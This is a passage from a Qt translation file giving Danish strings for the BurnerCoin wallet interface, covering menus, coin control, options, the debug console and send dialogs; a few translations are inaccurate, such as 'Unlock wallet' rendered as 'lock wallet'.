</message> <message> <location line="-319"/> <source>&amp;Overview</source> <translation>Oversigt</translation> </message> <message> <location line="+1"/> <source>Show general overview of wallet</source> <translation>Vis generel oversigt over tegnebog</translation> </message> <message> <location line="+17"/> <source>&amp;Transactions</source> <translation>Transaktioner</translation> </message> <message> <location line="+1"/> <source>Browse transaction history</source> <translation>Gennemse transaktionshistorik</translation> </message> <message> <location line="+5"/> <source>&amp;Address Book</source> <translation>&amp;Adresse Bog</translation> </message> <message> <location line="+1"/> <source>Edit the list of stored addresses and labels</source> <translation>Redigere listen over gemte adresser og etiketter</translation> </message> <message> <location line="-13"/> <source>&amp;Receive coins</source> <translation>&amp;Modtag mønter</translation> </message> <message> <location line="+1"/> <source>Show the list of addresses for receiving payments</source> <translation>Vis listen over adresser for modtagne betalinger</translation> </message> <message> <location line="-7"/> <source>&amp;Send coins</source> <translation>&amp;Send mønter</translation> </message> <message> <location line="+35"/> <source>E&amp;xit</source> <translation>Luk</translation> </message> <message> <location line="+1"/> <source>Quit application</source> <translation>Afslut program</translation> </message> <message> <location line="+6"/> <source>Show information about BurnerCoin</source> <translation>Vis oplysninger om BurnerCoin</translation> </message> <message> <location line="+2"/> <source>About &amp;Qt</source> <translation>Om Qt</translation> </message> <message> <location line="+1"/> <source>Show information about Qt</source> <translation>Vis informationer om Qt</translation> </message> <message> <location line="+2"/> <source>&amp;Options...</source> <translation>Indstillinger...</translation> </message> <message> <location line="+4"/> <source>&amp;Encrypt Wallet...</source> <translation>Krypter tegnebog...</translation> </message> <message> <location line="+3"/> <source>&amp;Backup Wallet...</source> <translation>Sikkerhedskopier tegnebog...</translation> </message> <message> <location line="+2"/> <source>&amp;Change Passphrase...</source> <translation>Skift adgangskode...</translation> </message> <message numerus="yes"> <location line="+259"/> <source>~%n block(s) remaining</source> <translation><numerusform>~%n blok resterer</numerusform><numerusform>~%n blokke resterende</numerusform></translation> </message> <message> <location line="+6"/> <source>Downloaded %1 of %2 blocks of transaction history (%3% done).</source> <translation>Downloadet% 1 af% 2 blokke af transaktions historie (% 3% færdig).</translation> </message> <message> <location line="-256"/> <source>&amp;Export...</source> <translation>&amp;Eksporter ...</translation> </message> <message> <location line="-64"/> <source>Send coins to a BurnerCoin address</source> <translation>Send mønter til en BurnerCoin adresse</translation> </message> <message> <location line="+47"/> <source>Modify configuration options for BurnerCoin</source> <translation>Ændre indstillingsmuligheder for BurnerCoin</translation> </message> <message> <location line="+18"/> <source>Export the data in the current tab to a file</source> <translation>Eksportere data i den aktuelle fane til en fil</translation> </message> <message> <location line="-14"/> <source>Encrypt or decrypt wallet</source> <translation>Kryptere eller dekryptere tegnebog</translation> </message> <message> <location line="+3"/> <source>Backup wallet to another location</source> <translation>Lav sikkerhedskopi af tegnebogen til et andet sted</translation> </message> <message> <location line="+2"/> <source>Change the passphrase used for wallet encryption</source> <translation>Skift adgangskode anvendt til tegnebogskryptering</translation> </message> <message> <location line="+10"/> <source>&amp;Debug window</source> <translation>Fejlsøgningsvindue</translation> </message> <message> <location line="+1"/> <source>Open debugging and diagnostic console</source> <translation>Åbn fejlsøgnings- og diagnosticeringskonsollen</translation> </message> <message> <location line="-5"/> <source>&amp;Verify message...</source> <translation>Verificér besked...</translation> </message> <message> <location line="-202"/> <source>BurnerCoin</source> <translation>BurnerCoin</translation> </message> <message> <location line="+0"/> <source>Wallet</source> <translation>Tegnebog</translation> </message> <message> <location line="+180"/> <source>&amp;About BurnerCoin</source> <translation>&amp;Om BurnerCoin</translation> </message> <message> <location line="+9"/> <source>&amp;Show / Hide</source> <translation>Vis / skjul</translation> </message> <message> <location line="+9"/> <source>Unlock wallet</source> <translation>Lås tegnebog</translation> </message> <message> <location line="+1"/> <source>&amp;Lock Wallet</source> <translation>&amp;Lås tegnebog</translation> </message> <message> <location line="+1"/> <source>Lock wallet</source> <translation>Lås tegnebog</translation> </message> <message> <location line="+35"/> <source>&amp;File</source> <translation>Fil</translation> </message> <message> <location line="+8"/> <source>&amp;Settings</source> <translation>Indstillinger</translation> </message> <message> <location line="+8"/> <source>&amp;Help</source> <translation>Hjælp</translation> </message> <message> <location line="+12"/> <source>Tabs toolbar</source> <translation>Faneværktøjslinje</translation> </message> <message> <location line="+8"/> <source>Actions toolbar</source> <translation>Fanværktøjslinje</translation> </message> <message> <location line="+13"/> <location line="+9"/> <source>[testnet]</source> <translation>[testnetværk]</translation> </message> <message> <location line="+0"/> <location line="+60"/> <source>BurnerCoin client</source> <translation>BurnerCoin Klient</translation> </message> <message numerus="yes"> <location line="+75"/> <source>%n active connection(s) to BurnerCoin network</source> <translation><numerusform>%n aktiv forbindelse til BurnerCoin netværk</numerusform><numerusform>%n aktive forbindelser til BurnerCoin netværk</numerusform></translation> </message> <message> <location line="+40"/> <source>Downloaded %1 blocks of transaction history.</source> <translation>Downloadet %1 blokke af transaktions historie.</translation> </message> <message> <location line="+413"/> <source>Staking.&lt;br&gt;Your weight is %1&lt;br&gt;Network weight is %2&lt;br&gt;Expected time to earn reward is %3</source> <translation>Renter.&lt;br&gt; Din andel er% 1 &lt;br&gt; Netværkets andel er% 2 &lt;br&gt; Forventet tid til at modtage rente %3</translation> </message> <message> <location line="+6"/> <source>Not staking because wallet is locked</source> <translation>Ingen rente fordi tegnebog er låst</translation> </message> <message> <location line="+2"/> <source>Not staking because wallet is offline</source> <translation>Ingen rente fordi tegnebog er offline</translation> </message> <message> <location line="+2"/> <source>Not staking because wallet is syncing</source> <translation>Ingen rente fordi tegnebog er ved at synkronisere</translation> </message> <message> <location line="+2"/> <source>Not staking because you don&apos;t have mature coins</source> <translation>Ingen rente fordi der ingen modne mønter eksistere </translation> </message> <message numerus="yes"> <location line="-403"/> <source>%n second(s) ago</source> <translation><numerusform>%n sekund siden</numerusform><numerusform>%n sekunder siden</numerusform></translation> </message> <message> <location line="-312"/> <source>About BurnerCoin card</source> <translation>Om BurnerCoin kort</translation> </message> <message> <location line="+1"/> <source>Show information about BurnerCoin card</source> <translation>Vis oplysninger om BurnerCoin kort</translation> </message> <message> <location line="+18"/> <source>&amp;Unlock Wallet...</source> <translation>Lås tegnebog op</translation> </message> <message numerus="yes"> <location line="+297"/> <source>%n minute(s) ago</source> <translation><numerusform>%n minut siden</numerusform><numerusform>%n minutter siden</numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n hour(s) ago</source> <translation><numerusform>%n time siden</numerusform><numerusform>%n timer siden</numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n day(s) ago</source> <translation><numerusform>%n dag siden</numerusform><numerusform>%n dage siden</numerusform></translation> </message> <message> <location line="+6"/> <source>Up to date</source> <translation>Opdateret</translation> </message> <message> <location line="+7"/> <source>Catching up...</source> <translation>Indhenter...</translation> </message> <message> <location line="+10"/> <source>Last received block was generated %1.</source> <translation>Sidst modtagne blok blev genereret %1.</translation> </message> <message> <location line="+59"/> <source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source> <translation>Denne transaktion er over grænsen størrelse. Du kan stadig sende det for et gebyr på %1, der går til de noder, der behandler din transaktion og hjælper med at støtte netværket. Ønsker du at betale gebyret?</translation> </message> <message> <location line="+5"/> <source>Confirm transaction fee</source> <translation>Bekræft transaktionsgebyr</translation> </message> <message> <location line="+27"/> <source>Sent transaction</source> <translation>Afsendt transaktion</translation> </message> <message> <location line="+1"/> <source>Incoming transaction</source> <translation>Indgående transaktion</translation> </message> <message> <location line="+1"/> <source>Date: %1 Amount: %2 Type: %3 Address: %4 </source> <translation>Dato: %1 Beløb: %2 Type: %3 Adresse: %4 </translation> </message> <message> <location line="+100"/> <location line="+15"/> <source>URI handling</source> <translation>URI håndtering</translation> </message> <message> <location line="-15"/> <location line="+15"/> <source>URI can not be parsed! This can be caused by an invalid BurnerCoin address or malformed URI parameters.</source> <translation>URI kan ikke tolkes! Dette kan skyldes en ugyldig BurnerCoin adresse eller misdannede URI parametre.</translation> </message> <message> <location line="+18"/> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;unlocked&lt;/b&gt;</source> <translation>Tegnebog er &lt;b&gt;krypteret&lt;/b&gt; og i øjeblikket &lt;b&gt;ulåst&lt;/b&gt;</translation> </message> <message> <location line="+10"/> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;locked&lt;/b&gt;</source> <translation>Tegnebog er &lt;b&gt;krypteret&lt;/b&gt; og i øjeblikket &lt;b&gt;låst&lt;/b&gt;</translation> </message> <message> <location line="+25"/> <source>Backup Wallet</source> <translation>Sikkerhedskopier Tegnebog</translation> </message> <message> <location line="+0"/> <source>Wallet Data (*.dat)</source> <translation>Wallet Data (*.dat)</translation> </message> <message> <location line="+3"/> <source>Backup Failed</source> <translation>Sikkerhedskopiering Mislykkedes</translation> </message> <message> <location line="+0"/> <source>There was an error trying to save the wallet data to the new location.</source> <translation>Der opstod en fejl under forsøg på at gemme data i tegnebogen til den nye placering.</translation> </message> <message numerus="yes"> <location line="+76"/> <source>%n second(s)</source> <translation><numerusform>%n sekund</numerusform><numerusform>%n sekunder</numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n minute(s)</source> <translation><numerusform>%n minut</numerusform><numerusform>%n minutter</numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n hour(s)</source> <translation><numerusform>%n time(r)</numerusform><numerusform>%n time(r)</numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n day(s)</source> <translation><numerusform>%n dag(e)</numerusform><numerusform>%n dag(e)</numerusform></translation> </message> <message> <location line="+18"/> <source>Not staking</source> <translation>Ingen rente</translation> </message> <message> <location filename="../bitcoin.cpp" line="+109"/> <source>A fatal error occurred. BurnerCoin can no longer continue safely and will quit.</source> <translation>Der opstod en fejl under forsøg på at gemme dataene i tegnebogen til den nye placering.</translation> </message> </context> <context> <name>ClientModel</name> <message> <location filename="../clientmodel.cpp" line="+90"/> <source>Network Alert</source> <translation>Netværksadvarsel</translation> </message> </context> <context> <name>CoinControlDialog</name> <message> <location filename="../forms/coincontroldialog.ui" line="+14"/> <source>Coin Control</source> <translation>Mønt Kontrol</translation> </message> <message> <location line="+31"/> <source>Quantity:</source> <translation>Antal:</translation> </message> <message> <location line="+32"/> <source>Bytes:</source> <translation>Bytes:</translation> </message> <message> <location line="+48"/> <source>Amount:</source> <translation>Beløb:</translation> </message> <message> <location line="+32"/> <source>Priority:</source> <translation>Prioritet:</translation> </message> <message> <location line="+48"/> <source>Fee:</source> <translation>Gebyr:</translation> </message> <message> <location line="+35"/> <source>Low Output:</source> <translation>Lav Udgangseffekt:</translation> </message> <message> <location filename="../coincontroldialog.cpp" line="+551"/> <source>no</source> <translation>nej</translation> </message> <message> <location filename="../forms/coincontroldialog.ui" line="+51"/> <source>After Fee:</source> <translation>Efter Gebyr:</translation> </message> <message> <location line="+35"/> <source>Change:</source> <translation>Ændre:</translation> </message> <message> <location line="+69"/> <source>(un)select all</source> <translation>(fra)vælg alle</translation> </message> <message> <location line="+13"/> <source>Tree mode</source> <translation>Træ tilstand</translation> </message> <message> <location line="+16"/> <source>List mode</source> <translation>Liste tilstand</translation> </message> <message> <location line="+45"/> <source>Amount</source> <translation>Beløb</translation> </message> <message> <location line="+5"/> <source>Label</source> <translation>Mærkat</translation> </message> <message> <location line="+5"/> <source>Address</source> <translation>Adresse</translation> </message> <message> <location line="+5"/> <source>Date</source> <translation>Dato</translation> </message> <message> <location line="+5"/> <source>Confirmations</source> <translation>Bekræftelser</translation> </message> <message> <location line="+3"/> <source>Confirmed</source> <translation>Bekræftet</translation> </message> <message> <location line="+5"/> <source>Priority</source> <translation>Prioritet</translation> </message> <message> <location filename="../coincontroldialog.cpp" line="-515"/> <source>Copy address</source> <translation>Kopier adresse</translation> </message> <message> <location line="+1"/> <source>Copy label</source> <translation>Kopier mærkat</translation> </message> <message> <location line="+1"/> <location line="+26"/> <source>Copy amount</source> <translation>Kopier beløb</translation> </message> <message> <location line="-25"/> <source>Copy transaction ID</source> <translation>Kopier transaktionens ID</translation> </message> <message> <location line="+24"/> <source>Copy quantity</source> <translation>Kopier antal</translation> </message> <message> <location line="+2"/> <source>Copy fee</source> <translation>Kopier transkationsgebyr</translation> </message> <message> <location line="+1"/> <source>Copy after fee</source> <translation>Kopier efter transkationsgebyr</translation> </message> <message> <location line="+1"/> <source>Copy bytes</source> <translation>Kopier bytes</translation> </message> <message> <location line="+1"/> <source>Copy priority</source> <translation>Kopier prioritet</translation> </message> <message> <location line="+1"/> <source>Copy low output</source> <translation>Lav udgangseffekt</translation> </message> <message> <location line="+1"/> <source>Copy change</source> <translation>Kopier ændring</translation> </message> <message> <location line="+317"/> <source>highest</source> <translation>højeste</translation> </message> <message> <location line="+1"/> <source>high</source> <translation>høj</translation> </message> <message> <location line="+1"/> <source>medium-high</source> <translation>medium-høj</translation> </message> <message> <location line="+1"/> <source>medium</source> <translation>medium</translation> </message> <message> <location line="+4"/> <source>low-medium</source> <translation>lav-medium</translation> </message> <message> <location line="+1"/> <source>low</source> <translation>lav</translation> </message> <message> <location line="+1"/> <source>lowest</source> <translation>lavest</translation> </message> <message> <location line="+155"/> <source>DUST</source> <translation>DUST</translation> </message> <message> <location line="+0"/> <source>yes</source> <translation>ja</translation> </message> <message> <location line="+10"/> <source>This label turns red, if the transaction size is bigger than 10000 bytes. This means a fee of at least %1 per kb is required. Can vary +/- 1 Byte per input.</source> <translation>Denne etiket bliver rød, hvis transaktionen størrelse er større end 10000 byte. Det betyder, at et gebyr på mindst %1 per kb er påkrævet. Kan variere + / - 1 byte per indgang.</translation> </message> <message> <location line="+1"/> <source>Transactions with higher priority get more likely into a block. This label turns red, if the priority is smaller than &quot;medium&quot;. This means a fee of at least %1 per kb is required.</source> <translation>Transaktioner med højere prioritet får mere sandsynligt en blok. Denne etiket bliver rød, hvis prioritet er mindre end &quot;medium&quot;. Det betyder, at et gebyr på mindst %1 per kb er påkrævet.</translation> </message> <message> <location line="+1"/> <source>This label turns red, if any recipient receives an amount smaller than %1. This means a fee of at least %2 is required. Amounts below 0.546 times the minimum relay fee are shown as DUST.</source> <translation>Denne etiket bliver rød, hvis nogen modtager et beløb, der er mindre end %1. Det betyder, at et gebyr på mindst %2 er påkrævet. Beløb under 0,546 gange det minimale gebyr er vist som DUST.</translation> </message> <message> <location line="+1"/> <source>This label turns red, if the change is smaller than %1. This means a fee of at least %2 is required.</source> <translation>Denne etiket bliver rød, hvis ændringen er mindre end %1. Det betyder, at et gebyr på mindst %2 er påkrævet.</translation> </message> <message> <location line="+37"/> <location line="+66"/> <source>(no label)</source> <translation>(ingen mærkat)</translation> </message> <message> <location line="-9"/> <source>change from %1 (%2)</source> <translation>skift fra %1 (%2)</translation> </message> <message> <location line="+1"/> <source>(change)</source> <translation>(skift)</translation> </message> </context> <context> <name>EditAddressDialog</name> <message> <location filename="../forms/editaddressdialog.ui" line="+14"/> <source>Edit Address</source> <translation>Rediger adresse</translation> </message> <message> <location line="+11"/> <source>&amp;Label</source> <translation>Mærkat</translation> </message> <message> <location line="+10"/> <source>The label associated with this address book entry</source> <translation>Etiketten er forbundet med denne post i adressekartoteket</translation> </message> <message> <location line="+7"/> <source>&amp;Address</source> <translation>Adresse</translation> </message> <message> <location line="+10"/> <source>The address associated with this address book entry. This can only be modified for sending addresses.</source> <translation>Adressen er forbundet med denne post i adressekartoteket. Dette kan kun ændres til sende adresser.</translation> </message> <message> <location filename="../editaddressdialog.cpp" line="+20"/> <source>New receiving address</source> <translation>Ny modtagelsesadresse</translation> </message> <message> <location line="+4"/> <source>New sending address</source> <translation>Ny afsendelsesadresse</translation> </message> <message> <location line="+3"/> <source>Edit receiving address</source> <translation>Rediger modtagelsesadresse</translation> </message> <message> <location line="+4"/> <source>Edit sending address</source> <translation>Rediger afsendelsesadresse</translation> </message> <message> <location line="+76"/> <source>The entered address &quot;%1&quot; is already in the address book.</source> <translation>Den indtastede adresse &quot;%1&quot; er allerede i adressebogen.</translation> </message> <message> <location line="-5"/> <source>The entered address &quot;%1&quot; is not a valid BurnerCoin address.</source> <translation>Den indtastede adresse &quot;%1&quot; er ikke en gyldig BurnerCoin adresse.</translation> </message> <message> <location line="+10"/> <source>Could not unlock wallet.</source> <translation>Kunne ikke låse tegnebog op.</translation> </message> <message> <location line="+5"/> <source>New key generation failed.</source> <translation>Ny nøglegenerering mislykkedes.</translation> </message> </context> <context> <name>GUIUtil::HelpMessageBox</name> <message> <location filename="../guiutil.cpp" line="+420"/> <location line="+12"/> <source>BurnerCoin-Qt</source> <translation>BurnerCoin-Qt</translation> </message> <message> <location line="-12"/> <source>version</source> <translation>version</translation> </message> <message> <location line="+2"/> <source>Usage:</source> <translation>Anvendelse:</translation> </message> <message> <location line="+1"/> <source>command-line options</source> <translation>Kommandolinjeparametrene</translation> </message> <message> <location line="+4"/> <source>UI options</source> <translation>UI opsætning</translation> </message> <message> <location line="+1"/> <source>Set language, for example &quot;de_DE&quot; (default: system locale)</source> <translation>Indstil sprog, for eksempel &quot;de_DE&quot; (standard: system locale)</translation> </message> <message> <location line="+1"/> <source>Start minimized</source> <translation>Start minimeret</translation> </message> <message> <location line="+1"/> <source>Show splash screen on startup (default: 1)</source> <translation>Vis splash skærm ved opstart (default: 1)</translation> </message> </context> <context> <name>OptionsDialog</name> <message> <location filename="../forms/optionsdialog.ui" line="+14"/> <source>Options</source> <translation>Indstillinger</translation> </message> <message> <location line="+16"/> <source>&amp;Main</source> <translation>Generelt</translation> </message> <message> <location line="+6"/> <source>Optional transaction fee per kB that helps make sure your transactions are processed quickly. Most transactions are 1 kB. Fee 0.01 recommended.</source> <translation>Valgfri transaktionsgebyr pr kB, som hjælper med at sikre dine transaktioner bliver behandlet hurtigt. De fleste transaktioner er 1 kB. Gebyr 0,01 anbefales.</translation> </message> <message> <location line="+15"/> <source>Pay transaction &amp;fee</source> <translation>Betal transaktionsgebyr</translation> </message> <message> <location line="+31"/> <source>Reserved amount does not participate in staking and is therefore spendable at any time.</source> <translation>Reserveret beløb deltager ikke i forrentning og er derfor tilrådighed til enhver tid.</translation> </message> <message> <location line="+15"/> <source>Reserve</source> <translation>Reserve</translation> </message> <message> <location line="+31"/> <source>Automatically start BurnerCoin after logging in to the system.</source> <translation>Automatisk start BurnerCoin efter at have logget ind på systemet.</translation> </message> <message> <location line="+3"/> <source>&amp;Start BurnerCoin on system login</source> <translation>&amp;Start BurnerCoin ved systems login</translation> </message> <message> <location line="+7"/> <source>Detach block and address databases at shutdown. This means they can be moved to another data directory, but it slows down shutdown. The wallet is always detached.</source> <translation>Frigør blok og adressedatabaser ved lukning. Det betyder, at de kan flyttes til et anden data-bibliotek, men det sinker lukning. Tegnebogen er altid frigjort.</translation> </message> <message> <location line="+3"/> <source>&amp;Detach databases at shutdown</source> <translation>&amp;Frigør databaser ved lukning</translation> </message> <message> <location line="+21"/> <source>&amp;Network</source> <translation>Netværk</translation> </message> <message> <location line="+6"/> <source>Automatically open the BurnerCoin client port on the router. This only works when your router supports UPnP and it is enabled.</source> <translation>Automatisk åbne BurnerCoin klient-port på routeren. Dette virker kun, når din router understøtter UPnP og er det er aktiveret.</translation> </message> <message> <location line="+3"/> <source>Map port using &amp;UPnP</source> <translation>Konfigurer port vha. UPnP</translation> </message> <message> <location line="+7"/> <source>Connect to the BurnerCoin network through a SOCKS proxy (e.g. when connecting through Tor).</source> <translation>Opret forbindelse til BurnerCoin netværk via en SOCKS proxy (fx ved tilslutning gennem Tor).</translation> </message> <message> <location line="+3"/> <source>&amp;Connect through SOCKS proxy:</source> <translation>&amp;Tilslut gennem SOCKS proxy:</translation> </message> <message> <location line="+9"/> <source>Proxy &amp;IP:</source> <translation>Proxy-IP:</translation> </message> <message> <location line="+19"/> <source>IP address of the proxy (e.g. 127.0.0.1)</source> <translation>IP-adressen på proxy (f.eks 127.0.0.1)</translation> </message> <message> <location line="+7"/> <source>&amp;Port:</source> <translation>Port:</translation> </message> <message> <location line="+19"/> <source>Port of the proxy (e.g. 9050)</source> <translation>Porten på proxyen (f.eks. 9050)</translation> </message> <message> <location line="+7"/> <source>SOCKS &amp;Version:</source> <translation>SOCKS-version</translation> </message> <message> <location line="+13"/> <source>SOCKS version of the proxy (e.g. 5)</source> <translation>SOCKS-version af proxyen (f.eks. 5)</translation> </message> <message> <location line="+36"/> <source>&amp;Window</source> <translation>Vindue</translation> </message> <message> <location line="+6"/> <source>Show only a tray icon after minimizing the window.</source> <translation>Vis kun et statusikon efter minimering af vinduet.</translation> </message> <message> <location line="+3"/> <source>&amp;Minimize to the tray instead of the taskbar</source> <translation>Minimer til statusfeltet i stedet for proceslinjen</translation> </message> <message> <location line="+7"/> <source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Quit in the menu.</source> <translation>Minimer i stedet for at afslutte programmet, når vinduet lukkes. Når denne indstilling er valgt, vil programmet kun blive lukket, når du har valgt Afslut i menuen.</translation> </message> <message> <location line="+3"/> <source>M&amp;inimize on close</source> <translation>Minimer ved lukning</translation> </message> <message> <location line="+21"/> <source>&amp;Display</source> <translation>Visning</translation> </message> <message> <location line="+8"/> <source>User Interface &amp;language:</source> <translation>Brugergrænsefladesprog:</translation> </message> <message> <location line="+13"/> <source>The user interface language can be set here. This setting will take effect after restarting BurnerCoin.</source> <translation>Sproget i brugergrænsefladen kan indstilles her. Denne indstilling vil træde i kraft efter genstart af BurnerCoin tegnebog.</translation> </message> <message> <location line="+11"/> <source>&amp;Unit to show amounts in:</source> <translation>Enhed at vise beløb i:</translation> </message> <message> <location line="+13"/> <source>Choose the default subdivision unit to show in the interface and when sending coins.</source> <translation>Vælg den standard underopdelingsenhed, som skal vises i brugergrænsefladen og ved afsendelse af bitcoins.</translation> </message> <message> <location line="+9"/> <source>Whether to show BurnerCoin addresses in the transaction list or not.</source> <translation>Få vist BurnerCoin adresser på listen over transaktioner eller ej.</translation> </message> <message> <location line="+3"/> <source>&amp;Display addresses in transaction list</source> <translation>Vis adresser i transaktionsliste</translation> </message> <message> <location line="+7"/> <source>Whether to show coin control features or not.</source> <translation> Vis mønt kontrol funktioner eller ej.</translation> </message> <message> <location line="+3"/> <source>Display coin &amp;control features (experts only!)</source> <translation>Vis mønt &amp; kontrol funktioner (kun for eksperter!)</translation> </message> <message> <location line="+71"/> <source>&amp;OK</source> <translation>OK</translation> </message> <message> <location line="+7"/> <source>&amp;Cancel</source> <translation>Annuller</translation> </message> <message> <location line="+10"/> <source>&amp;Apply</source> <translation>&amp;Anvend</translation> </message> <message> <location filename="../optionsdialog.cpp" line="+55"/> <source>default</source> <translation>standard</translation> </message> <message> <location line="+149"/> <location line="+9"/> <source>Warning</source> <translation>Advarsel</translation> </message> <message> <location line="-9"/> <location line="+9"/> <source>This setting will take effect after restarting BurnerCoin.</source> <translation>Denne indstilling vil træde i kraft efter genstart af BurnerCoin.</translation> </message> <message> <location line="+29"/> <source>The supplied proxy address is invalid.</source> <translation>Ugyldig proxy-adresse</translation> </message> </context> <context> <name>OverviewPage</name> <message> <location filename="../forms/overviewpage.ui" line="+14"/> <source>Form</source> <translation>Formular</translation> </message> <message> <location line="+33"/> <location line="+231"/> <source>The displayed information may be out of date. Your wallet automatically synchronizes with the BurnerCoin network after a connection is established, but this process has not completed yet.</source> <translation>De viste oplysninger kan være forældet. Din tegnebog synkroniserer automatisk med BurnerCoin netværket efter en forbindelse er etableret, men denne proces er ikke afsluttet endnu.</translation> </message> <message> <location line="-160"/> <source>Stake:</source> <translation>Rente:</translation> </message> <message> <location line="+29"/> <source>Unconfirmed:</source> <translation>Ubekræftede:</translation> </message> <message> <location line="-107"/> <source>Wallet</source> <translation>Tegnebog</translation> </message> <message> <location line="+49"/> <source>Spendable:</source> <translation>Brugbar:</translation> </message> <message> <location line="+16"/> <source>Your current spendable balance</source> <translation>Din nuværende tilgængelige saldo</translation> </message> <message> <location line="+71"/> <source>Immature:</source> <translation>Umodne:</translation> </message> <message> <location line="+13"/> <source>Mined balance that has not yet matured</source> <translation>Udvunden saldo, som endnu ikke er modnet</translation> </message> <message> <location line="+20"/> <source>Total:</source> <translation>Total:</translation> </message> <message> <location line="+16"/> <source>Your current total balance</source> <translation>Din nuværende totale saldo</translation> </message> <message> <location line="+46"/> <source>&lt;b&gt;Recent transactions&lt;/b&gt;</source> <translation>&lt;b&gt;Nyeste transaktioner&lt;/b&gt;</translation> </message> <message> <location line="-108"/> <source>Total of transactions that have yet to be confirmed, and do not yet count toward the current balance</source> <translation>Summen af ​​transaktioner, der endnu mangler at blive bekræftet, og ikke tæller mod den nuværende balance</translation> </message> <message> <location line="-29"/> <source>Total of coins that was staked, and do not yet count toward the current balance</source> <translation>I alt mønter, der bliver berentet, og endnu ikke tæller mod den nuværende balance</translation> </message> <message> <location filename="../overviewpage.cpp" line="+113"/> <location line="+1"/> <source>out of sync</source> <translation>ikke synkroniseret</translation> </message> </context> <context> <name>QRCodeDialog</name> <message> <location filename="../forms/qrcodedialog.ui" line="+14"/> <source>QR Code Dialog</source> <translation>QR Kode Dialog</translation> </message> <message> <location line="+59"/> <source>Request Payment</source> <translation>Betalingsanmodning</translation> </message> <message> <location line="+56"/> <source>Amount:</source> <translation>Antal:</translation> </message> <message> <location line="-44"/> <source>Label:</source> <translation>Label:</translation> </message> <message> <location line="+19"/> <source>Message:</source> <translation>Besked:</translation> </message> <message> <location line="+71"/> <source>&amp;Save As...</source> <translation>&amp;Gem Som...</translation> </message> <message> <location filename="../qrcodedialog.cpp" line="+62"/> <source>Error encoding URI into QR Code.</source> <translation>Fejl kode URI i QR kode.</translation> </message> <message> <location line="+40"/> <source>The entered amount is invalid, please check.</source> <translation>Det indtastede beløb er ugyldig, venligst tjek igen.</translation> </message> <message> <location line="+23"/> <source>Resulting URI too long, try to reduce the text for label / message.</source> <translation>Resulterende URI for lang, prøv at reducere teksten til etiketten / besked.</translation> </message> <message> <location line="+25"/> <source>Save QR Code</source> <translation>Gem QR kode</translation> </message> <message> <location line="+0"/> <source>PNG Images (*.png)</source> <translation>PNG billede (*.png)</translation> </message> </context> <context> <name>RPCConsole</name> <message> <location filename="../forms/rpcconsole.ui" line="+46"/> <source>Client name</source> <translation>Klientnavn</translation> </message> <message> <location line="+10"/> <location line="+23"/> <location line="+26"/> <location line="+23"/> <location line="+23"/> <location line="+36"/> <location line="+53"/> <location line="+23"/> <location line="+23"/> <location filename="../rpcconsole.cpp" line="+348"/> <source>N/A</source> <translation>N/A</translation> </message> <message> <location line="-217"/> <source>Client version</source> <translation>Klientversion</translation> </message> <message> <location line="-45"/> <source>&amp;Information</source> <translation>Information</translation> </message> <message> <location line="+68"/> <source>Using OpenSSL version</source> <translation>Anvender OpenSSL-version</translation> </message> <message> <location line="+49"/> <source>Startup time</source> <translation>Opstartstid</translation> </message> <message> <location line="+29"/> <source>Network</source> <translation>Netværk</translation> </message> <message> <location line="+7"/> <source>Number of connections</source> <translation>Antal forbindelser</translation> </message> <message> <location line="+23"/> <source>On testnet</source> <translation>På testnet</translation> </message> <message> <location line="+23"/> <source>Block chain</source> <translation>Blokkæde</translation> </message> <message> <location line="+7"/> <source>Current number of blocks</source> <translation>Nuværende antal blokke</translation> </message> <message> <location line="+23"/> <source>Estimated total blocks</source> <translation>Estimeret antal blokke</translation> </message> <message> <location line="+23"/> <source>Last block time</source> <translation>Tidsstempel for seneste blok</translation> </message> <message> <location line="+52"/> <source>&amp;Open</source> <translation>Åbn</translation> </message> <message> <location line="+16"/> <source>Command-line options</source> <translation>Kommandolinjeparametrene</translation> </message> <message> <location line="+7"/> <source>Show the BurnerCoin-Qt help message to get a list with possible BurnerCoin command-line options.</source> <translation>Vis BurnerCoin-Qt hjælpe besked for at få en liste med mulige BurnerCoin kommandolinjeparametre.</translation> </message> <message> <location line="+3"/> <source>&amp;Show</source> <translation>&amp;Vis</translation> </message> <message> <location line="+24"/> <source>&amp;Console</source> <translation>Konsol</translation> </message> <message> <location line="-260"/> <source>Build date</source> <translation>Byggedato</translation> </message> <message> <location line="-104"/> <source>BurnerCoin - Debug window</source> <translation>BurnerCoin - Debug vindue</translation> </message> <message> <location line="+25"/> <source>BurnerCoin Core</source> <translation>BurnerCoin Kerne</translation> </message> <message> <location line="+279"/> <source>Debug log file</source> <translation>Fejlsøgningslogfil</translation> </message> <message> <location line="+7"/> <source>Open the BurnerCoin debug log file from the current data directory. This can take a few seconds for large log files.</source> <translation>Åbn BurnerCoin debug logfilen fra den nuværende data mappe. Dette kan tage et par sekunder for store logfiler.</translation> </message> <message> <location line="+102"/> <source>Clear console</source> <translation>Ryd konsol</translation> </message> <message> <location filename="../rpcconsole.cpp" line="-33"/> <source>Welcome to the BurnerCoin RPC console.</source> <translation>Velkommen til BurnerCoin RPC-konsol.</translation> </message> <message> <location line="+1"/> <source>Use up and down arrows to navigate history, and &lt;b&gt;Ctrl-L&lt;/b&gt; to clear screen.</source> <translation>Brug op og ned-piletasterne til at navigere historikken og &lt;b&gt;Ctrl-L&lt;/b&gt; til at rydde skærmen.</translation> </message> <message> <location line="+1"/> <source>Type &lt;b&gt;help&lt;/b&gt; for an overview of available commands.</source> <translation>Tast &lt;b&gt;help&lt;/b&gt; for en oversigt over de tilgængelige kommandoer.</translation> </message> </context> <context> <name>SendCoinsDialog</name> <message> <location filename="../forms/sendcoinsdialog.ui" line="+14"/> <location filename="../sendcoinsdialog.cpp" line="+182"/> <location line="+5"/> <location line="+5"/> <location line="+5"/> <location line="+6"/> <location line="+5"/> <location line="+5"/> <source>Send Coins</source> <translation>Send bitcoins</translation> </message> <message> <location line="+76"/> <source>Coin Control Features</source> <translation>Mønt Kontrol Egenskaber</translation> </message> <message> <location 